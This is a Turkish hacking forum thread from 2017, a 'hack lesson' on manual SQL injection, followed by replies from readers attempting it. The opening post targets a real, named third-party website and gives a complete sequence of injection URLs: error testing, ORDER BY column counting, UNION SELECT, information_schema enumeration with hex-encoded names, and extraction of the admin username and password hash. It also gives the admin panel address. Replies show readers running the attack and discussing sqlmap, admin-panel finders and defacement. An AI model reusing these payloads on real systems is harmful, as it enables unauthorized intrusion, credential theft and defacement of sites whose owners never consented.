1. Ayyıldız Tim forumu Hariç Hiç Bir şekilde Rütbeli Oldugunu İddaa edenlere inanmayınız..⠀ Ayyıldız Tim Adına Sizden Bilgi Belge TC Kimlik Vb Evrak İsteyenlere Asla Bilgilerinizi Vermeyiniz.

1. Düzey Hack Dersleri #5-sql Açığı Kullanımı

'Web Hacking ve Güvenlik' forumunda ERVAH-I-EZEL tarafından 18 Mayıs 2017 tarihinde açılan konu

Konu Durumu:
Yanıtlara kapalı.
  1. ERVAH-I-EZEL Guest

    • Guest
    Katılım:
    30 Ocak 2017
    Mesaj:
    1,333
    Alınan Beğeniler:
    4,873

    Özel Mesaj
    Selâmün Aleyküm tekrardan herkese. Hack Derslerinde 5. bölümdeyiz. Önceki dersimizde "Rte" ve "Upload" açıklarını kullanarak site hacklemeyi öğrettim.

    1. Düzey Hack Dersleri #1-Başlangıç
    1. Düzey Hack Dersleri #2-Temel Hack Terimleri
    1. Düzey Hack Dersleri #3-Brute Force ve İlgili Hack Terimleri
    1. Düzey Hack Dersleri #4-Rte ve Upload Açıklarını Kullanarak Site Hackleme


    Bu dersimizde ise ilk büyük güvenlik açığımızı, SQL Açığını inceleyeceğiz. Hadi bismillah...

    Öncelikle daha önceden SQL Açığı ile ilgili yaptığımız tanımı tekrar hatırlayalım.
    _______________________________________________________________________________________

    Sql İnjection Açığı:

    Sayfada Sql komutlarını çalıştırarak veri çekmeyi hedefleyen sunucuya yönelik bir güvenlik açığıdır. Birden fazla çeşidi bulunan geniş bir açıktır.

    _______________________________________________________________________________________

    Öncelikle burada "Sql" dediğimiz şeyin ne olduğunu anlayalım. "Sql" bir database (veritabanı) programlama dilidir. Sql Açığı, Sql ile ilgili yapılan kodlama hatalarıyla ortaya çıkan bir açık türüdür. Buna göre, Sql Açığı olan bir sitede bazı Sql komutları kullanarak site yöneticisinin kullanıcı adı ve parola bilgilerine ulaşılabilir. Günümüzde on milyonlarca sitede Sql açığı bulunduğu gibi, devlet sitesi gibi önemli sitelerde de bu açık türüne rastlanır.

    Bir sitede Sql açığı olduğunu nasıl anlarsınız? Bunun el ile ve program kullanarak otomatik bir şekilde tarama yapma şeklinde iki seçeneği var. El ile taramanın nasıl yapıldığını konuya geçince hemen anlayacaksınız zaten ama bunu hiç tavsiye etmem. Çünkü çok zamanınızı alabileceğinden program ile otomatik tarama yapmak daha uygundur. Ayrıca forumda veya başka yerde hazır "Sql Açıklı Siteler" bolca paylaşılıyor.

    İlk önce "Safe3" veya "Acunetix" gibi bir program aracılığı ile (Bu programların adını birçok yerde duymuşsunuzdur. İnternette paylaşılıyor.) hedef sitemizde Sql açığı olup olmadığını taratıyoruz. Ben size örnek bir site vereceğim. Bütün işlemlerimizi bu site üzerinden uygulamalı olarak yapacasınız.

    Site: http://musculoskeletalsociety.in/
    Sql Açığı Bulunan Sayfa: http://musculoskeletalsociety.in/page.php?id=5

    Burada hemen bir şeyi kafanıza yazın. Sql Açığı bulunan sayfa "kelime.php?id=sayı" denen bir değer içeriyor. (Kelime adı ve sayı değeri duruma göre değişebilir.) Demek ki biz ileride Sql açıklı site taraması yaparken dorklarımızı buna göre yazacağız.

    Şimdi ilk önce sitemizde Sql Açığı olup olmadığından emin olmak için sayfamızın sonuna tırnak işareti ( ' ) ekleyelim.

    Kod:
    http://musculoskeletalsociety.in/page.php?id=5'
    Eğer karşımıza;

    "You Have An Error İn Your SQL Syntax, Check The Manuel That Corresponds To Your MYSQL Server Version For The Right Syntax To Use Near "'3728"' At Line 1"

    Gibi bir hata gelirse sitemizde Sql Açığı vardır. Tabii benzer bir hata da meydana gelebilir. Bizim sitemizde alt tarafta bir hata meydana geldi. Sql açığı olduğunu görüyoruz.

    Önce sitemizin kolon sayısını öğrenmemiz gerekiyor. Bunun için "+order+by+sayı" kodunu kullanmamız gerekiyor. Bir deneme yapalım:

    Kod:
    http://musculoskeletalsociety.in/page.php?id=5+order+by+20
    Karşımıza şu ve benzeri bir hata geliyor:

    "Unknown column ’20’ in ’order clause"

    Demek ki kolon sayımız 20'den daha az. Sayıyı yavaş yavaş düşürerek tekrar deniyoruz. Amacımız sitede herhangi bir hatayla karşılaşmamak.

    Kod:
    http://musculoskeletalsociety.in/page.php?id=5+order+by+15
    http://musculoskeletalsociety.in/page.php?id=5+order+by+10
    http://musculoskeletalsociety.in/page.php?id=5+order+by+7
    http://musculoskeletalsociety.in/page.php?id=5+order+by+6
    http://musculoskeletalsociety.in/page.php?id=5+order+by+5

    Evet, "5" değerinde bir hata almadık. Kolon sayımızın 5 olduğunu öğrendik. Şimdi sıra kolonları yansıtma işleminde. Bu işlemi "+union+select+sayı,sayı,sayı..." şeklinde 2 türlü yapabiliriz.

    Kod:
    http://musculoskeletalsociety.in/page.php?id=5+union+select+1,2,3,4,5

    Veya

    Kod:
    http://musculoskeletalsociety.in/page.php?id=5+union+select+0,1,2,3,4

    İki seçenekte de ortak olan özellik toplam 5 tane sayı girmemiz. Bazen seçeneklerden birisi sonuç vermezse diğerini denersiniz. Fakat bu işlemi yaptığımızda ekrana hiç bir şey yansımadı. İşlemimizin başarılı olması için "id" değerini sitede bulunmayan bir değer almak gereklidir. Bunun için en mantıklı şey sayının başına " - " işaretini bırakmak olacaktır. Yani şu şekilde:

    Kod:
    http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,2,3,4,5
    Ekrana "2" ve "3" sayıları yansıyor. Bunları bir kenara not edelim. Bu iki değeri de kullanacağız. Şimdi bize ek olarak Sql versiyonu gerekli. Az önce bize 2 ve 3 sayıları yansıdı, biz "2" değerini kullanalım. Dikkatle bakın:

    Kod:
    http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,version(),3,4,5
    Dikkatinizi çeken şey "version()" kodunu "2" yerine kullanmamız oldu. İsteseydik "3" yerine de kullanabilirdik. Karşımıza çıkan değer "5.6.35" şeklinde. Kısaca "5" diyelim, gerisi önemli değil. Eğer ileride denediğiniz farklı sitelerde sizde versiyon olarak 5 dışında bir şey çıkarsa (4 gibi) o siteyle şimdilik uğraşmayın. Kafanız karışacak. Zaten çoğu site versiyon 5 almakta.

    Daha sonra veritabanı ismini öğrenmeliyiz.

    Kod:
    http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,database(),3,4,5

    Veritabanı ismi: "culosmus_muscul" Bunu hemen hex koduna çevirmeliyiz. Hex Kodu bir nevi şifreleme türüdür. İnternette "Hex Kod Çevirici" siteler var. Şu site işinizi görecektir:

    http://www.convertstring.com/tr/EncodeDecode/HexEncode

    Siteden veri tabanımızı hex biçiminde çeviriyoruz. Şöyle bir çeviri aldık: "63756C6F736D75735F6D757363756C"
    Bu kodun başına "0x" koymayı unutmayın. Yani şöyle: "0x63756C6F736D75735F6D757363756C" Bunu kenara not edin.

    Şimdi sıra veri çekme işlemlerine geldi. Ama önce veri çekme esnasında karşılaşacağımız 3 terimi inceleyelim.

    Table: "Tablo" manasına gelir. Bir sitede çok sayıda tablo bulunur. Örnek olarak "yönetici" adlı bir tabloda yönetici ile ilgili bilgileri bulabilirsiniz. İlk aşamada bize gerekli olan tabloyu buluruz.

    Column: "Kolon" anlamındadır. Her tablonun içinde birkaç tane kolon bulunur. Örnek olarak "yönetici" adlı tablo içinde yöneticiye ait "mail" , "kullanıcı adı" , "parola" bilgileri bulunabilir. İkinci aşamada tablo içindeki kolonlardan bize gerekli olanlarını seçeriz.

    Data: Kolonlardan çekilen verilerdir. Üçüncü aşamada seçtiğimiz kolonlardan verileri çekeriz.

    Artık verileri çekmeye başlayabiliriz.

    Kod:
    http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=0x63756C6F736D75735F6D757363756C
    Karışık bir kod kalabalığı oldu, uğraştıkça alışırsınız. Karşımıza birçok tablo adı gelecek. Bunlardan işimize yarayacak olanını seçmeliyiz. En başta "admin" bölümünü görüyoruz. Adı üzerine içinde admin bilgilerinin olduğu gayet belli oluyor. Hemen o tablonun "column" verilerini çekmeliyim.
    Önce "admin" hex kodlarını çıkartalım ve başına "0x" ekleyelim: "0x61646D696E"
    Şimdi devam edelim:

    Kod:
    http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_schema=0x63756C6F736D75735F6D757363756C+and+table_name=0x61646D696E


    Yüzdük yüzdük kuyruğuna geldik artık. Artık karşımıza kullanıcı bilgileri çıkıyor. Bunlarda "user_id" ve "password" seçeneklerini alıp kullanıcı adını ve şifreyi ele geçireceğiz. Şimdi iki değer alacağım için hem "2" hem de "3" değerini kullanmam gerekiyor.

    Kod:
    http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,(user_id),(password),4,5+from+admin
    Buradan öğrendiklerimize göre;

    Kullanıcı Adı: admin
    Parola: 25a41cec631264f04815eda23dc6edd9

    Bu arada parolamız tam olarak böyle bir şey değil. Kimi web sitelerinde çektiğiniz şifreler normal gözükürken kimi sitelerde de böyle "Md5" , "Sha" gibi yöntemlerle şifrelenmiş olarak gözükür. Bunun için internette şifre çözücüler var. Zaten çoğu sitede parolayı normal olarak alabiliyorsunuz. Ben kimsenin hazıra konup parolayı kullanmaması için bu siteyi özel olarak seçtim.

    Artık parola ve kullanıcı adı elimizde. Şimdi tek yapmamız gereken bir admin panel bulucu yardımıyla paneli bulmak. Onu da ben vereyim:

    http://musculoskeletalsociety.in/admin/

    Sevgili devrelerim, bu dersimizin de sonuna geldik. Bu derste çok büyük ve geniş bir açık olan Sql Açığını öğrendik. Bir sonraki derste Sql Açığı ile ilgili birkaç şey daha öğreneceğiz. Size güzel bir şekilde anlatmak için çok uğraştım. Eğer konuyu beğenir ve güzel yorumlarınızı belirtirseniz beni mutlu edeceksiniz. İyi çalışmalar, iyi forumlar... :)
     
  2. ERVAH-I-EZEL Guest

    • Guest
    Katılım:
    30 Ocak 2017
    Mesaj:
    1,333
    Alınan Beğeniler:
    4,873

    Özel Mesaj
    Buna ek olarak iki şey söylemek istiyorum.

    1- Kodların kalabalığına bakmayın, anlamaya çalışın. Çoğu yer kalıplaşmış kodlar, yani denediğiniz her sitede birkaç şey dışında aynı komutları kullanıyorsunuz. "Neyi nerede kullandık" şeklinde öğrenmeye çalışın. Mesela "Table" denen verileri görüntülemek için kullandığımız sorguyla "Column" dediğimiz veriyi görüntülemek için kullanıdığımız kodlar arasındaki farkı anlamaya çalışın. Bol bol da pratik yapın. Yavaş yavaş sökeceksiniz bu işi.

    2- Bakın bunu kendim için asla söylemiyorum ama konuyu okuyup kapatmayın. Beğeni almak sorun değil benim için, burada vatan için varız. Ancak ben bu SQL Açığını öğrenebilmek için çok uğraştım. Yanlış anlamayın. Bu konuyu anlatan diğer kişilerin emeğine saygısızlık yapmak istemiyorum. Sadece benim çektiğim zorluğu başkası çekmesin istiyorum. Sizden isteğim konunun güncel kalması için yorum yapmanız. Umarım beni anlayışla karşılarsınız.

    Kolay gelsin. ;)
     
  3. TURANC1 Guest

    • Guest
    Katılım:
    12 Mayıs 2017
    Mesaj:
    132
    Alınan Beğeniler:
    71

    Özel Mesaj
    ELLERİNE SAĞLIK DEVREM.
     
  4. Darquesse Guest

    • Guest
    Katılım:
    7 Mayıs 2017
    Mesaj:
    226
    Alınan Beğeniler:
    140

    Özel Mesaj
    Daha önce başka konular okudum yapıyorum hep şu kolon sayısında takılıyorum ve sinir oluyorum! Bu konuyu okuyunca şuana kadar okuduğum konuda kolon sayısı kısmının eksik olduğunu fark ettim.Ellerine sağlık devrem sayende hatamı buldum ve düzelttim.
     
  5. ERVAH-I-EZEL Guest

    • Guest
    Katılım:
    30 Ocak 2017
    Mesaj:
    1,333
    Alınan Beğeniler:
    4,873

    Özel Mesaj
    Sağol devrem. :)
    Sağol devrem, hatanı bulup düzeltmene sevindim. :)
     
    Vatansever13 ve oyuncu_king bunu beğendi.
  6. psikososyal Guest

    • Guest
    Katılım:
    13 Mayıs 2017
    Mesaj:
    45
    Alınan Beğeniler:
    25

    Özel Mesaj
    63756C6F736D75735F6D757363756C Devrem senin verdiğin bu;
    63756C6F736D75735F6D757363756CDADA ama beni mhex koduna çevirince karşıma çıkarn bu sebebi nedir ?
     
    Vatansever13 ve oyuncu_king bunu beğendi.
  7. psikososyal Guest

    • Guest
    Katılım:
    13 Mayıs 2017
    Mesaj:
    45
    Alınan Beğeniler:
    25

    Özel Mesaj
    Devrem elde ettiğim şifreyi sha veya md5 ile denedim ama ikiside girmedi galiba benden önce birisi çözmüş ondanmıdır ?
     
    Vatansever13 ve oyuncu_king bunu beğendi.
  8. ERVAH-I-EZEL Guest

    • Guest
    Katılım:
    30 Ocak 2017
    Mesaj:
    1,333
    Alınan Beğeniler:
    4,873

    Özel Mesaj
    "culosmus_muscul"
    Galiba tırnak işaretlerini de dahil ederek hex yapmışsın ya da yanlış kopyalamışsın. Şimdi tekrar denedim, sorun yok.

    Benim şifreleme ile ilgili pek bilgim yok ama şifreleme türünün farklı bir şey olduğunu düşünüyorum. Bir de her şifre çözülemiyor. Bile bile böyle paylaştım çünkü bazıları şifreyi alıp index basabilir.

    İyi forumlar...
     
    kayipruh, Vatansever13 ve oyuncu_king bunu beğendi.
  9. TURANC1 Guest

    • Guest
    Katılım:
    12 Mayıs 2017
    Mesaj:
    132
    Alınan Beğeniler:
    71

    Özel Mesaj
    devrem bi sorum olacak. Sql map'ten FTP sunucu bilgilerini bulabilirmiyim.
     
    Vatansever13 bunu beğendi.
  10. psikososyal Guest

    • Guest
    Katılım:
    13 Mayıs 2017
    Mesaj:
    45
    Alınan Beğeniler:
    25

    Özel Mesaj
    Devrem bir kaç sitede bulduğum sql açıklı sitelerin kolon sayılarını bulamıyorum onu bulmak için program var mı ?
     
    Vatansever13 ve oyuncu_king bunu beğendi.
  11. TURANC1 Guest

    • Guest
    Katılım:
    12 Mayıs 2017
    Mesaj:
    132
    Alınan Beğeniler:
    71

    Özel Mesaj
    Devrem sqlmap adında programı Windowsa kurarak başlayabilirsin. Sonra sqlmap hakkında bilgi edin.
     
    kayipruh ve Vatansever13 bunu beğendi.
  12. psikososyal Guest

    • Guest
    Katılım:
    13 Mayıs 2017
    Mesaj:
    45
    Alınan Beğeniler:
    25

    Özel Mesaj
    Sağol devrem , Allah işini rast getirsin ..
     
    Vatansever13 ve TURANC1 bunu beğendi.
  13. ERVAH-I-EZEL Guest

    • Guest
    Katılım:
    30 Ocak 2017
    Mesaj:
    1,333
    Alınan Beğeniler:
    4,873

    Özel Mesaj
    https://forum.ayyildiz.org/mesaj/663538/
    Buradan geldi sorun herhalde. :) Ftp Bilgilerine nasıl ulaşacağını bilmiyorum ama Sql Map'tan ulaşılmaz, bundan eminim. İnternette şunu buldum, işine yarayabilir: ;)
    https://www.strato.com/faq/tr_tr/article/2095/FTP-nedir-ve-nasıl-kullanılır.html

    Bazen SqlMap ya da başka bir program kullansan bile kolon sayısını bulamazsın. Kolon bulamama çok rastlanan bir durum değildir zaten. Birkaç site daha dene. ;)
     
    Vatansever13 ve oyuncu_king bunu beğendi.
  14. psikososyal Guest

    • Guest
    Katılım:
    13 Mayıs 2017
    Mesaj:
    45
    Alınan Beğeniler:
    25

    Özel Mesaj
    Devrem kolon sayısı belirli bir değer aralığı içinde midir bunu merak ettim mesela bu örnekte 20 ve aşağısını denedik ama mesela bu değer 20 den daha büyük olamaz mı ?
     
    Vatansever13 ve Assassin246 bunu beğendi.
  15. oyuncu_king Atıldı

    • Guest
    Katılım:
    13 Ocak 2017
    Mesaj:
    133
    Alınan Beğeniler:
    134

    Özel Mesaj
    İlk 4 konudan sonra bu biraz zor gelecek. Anlaşılan çalışmam gerekiyor. Eline sağlık devrem. :)
     
    Vatansever13 ve ERVAH-I-EZEL bunu beğendi.
  16. ERVAH-I-EZEL Guest

    • Guest
    Katılım:
    30 Ocak 2017
    Mesaj:
    1,333
    Alınan Beğeniler:
    4,873

    Özel Mesaj
    Olabilir tabii ki. Yanlış anlama. Normalde ben 100'den başlatıyorum. Eğer site hata vermezse bu kolon sayısını bulamayacağım anlamına geliyor. ;)

    Sağol devrem. ;)
     
    Vatansever13, Assassin246 ve oyuncu_king bunu beğendi.
  17. Assassin246 Guest

    • Guest
    Katılım:
    15 Mayıs 2017
    Mesaj:
    10
    Alınan Beğeniler:
    7

    Özel Mesaj
    Devrem zaten benim gibi birçok devrelerim de senin konularını bekliyorduk.Eline sağlık Devrem.
     
    Vatansever13 ve ERVAH-I-EZEL bunu beğendi.
  18. psikososyal Guest

    • Guest
    Katılım:
    13 Mayıs 2017
    Mesaj:
    45
    Alınan Beğeniler:
    25

    Özel Mesaj
    Devrem bana admin paneli bulucu bir program önerirmisin son aşamadayım galiba başardım !
     
    Vatansever13 bunu beğendi.
  19. ERVAH-I-EZEL Guest

    • Guest
    Katılım:
    30 Ocak 2017
    Mesaj:
    1,333
    Alınan Beğeniler:
    4,873

    Özel Mesaj
    Sağol devrem. :)

    Hadi bakalım hayırlısı. :) Admin Panel Bulucuların hemen hemen hepsinde aynı şeyler var zaten. Vatansever13 devremin programına göz atabilirsin. Bilindik bir program olursan internette "Asperix Admin Panel Bulucu" var. Ama pek fark olacağını sanmıyorum. Bakalım bulabilecek misin? :)
     
    Vatansever13 bunu beğendi.
  20. ERVAH-I-EZEL Guest

    • Guest
    Katılım:
    30 Ocak 2017
    Mesaj:
    1,333
    Alınan Beğeniler:
    4,873

    Özel Mesaj
    Bu da linki devrem. :)
    https://forum.ayyildiz.org/konu/kendi-admin-panel-bulma-programı-yaptım.95734/
     
    Vatansever13 bunu beğendi.
Konu Durumu:
Yanıtlara kapalı.

Bu Sayfayı Paylaş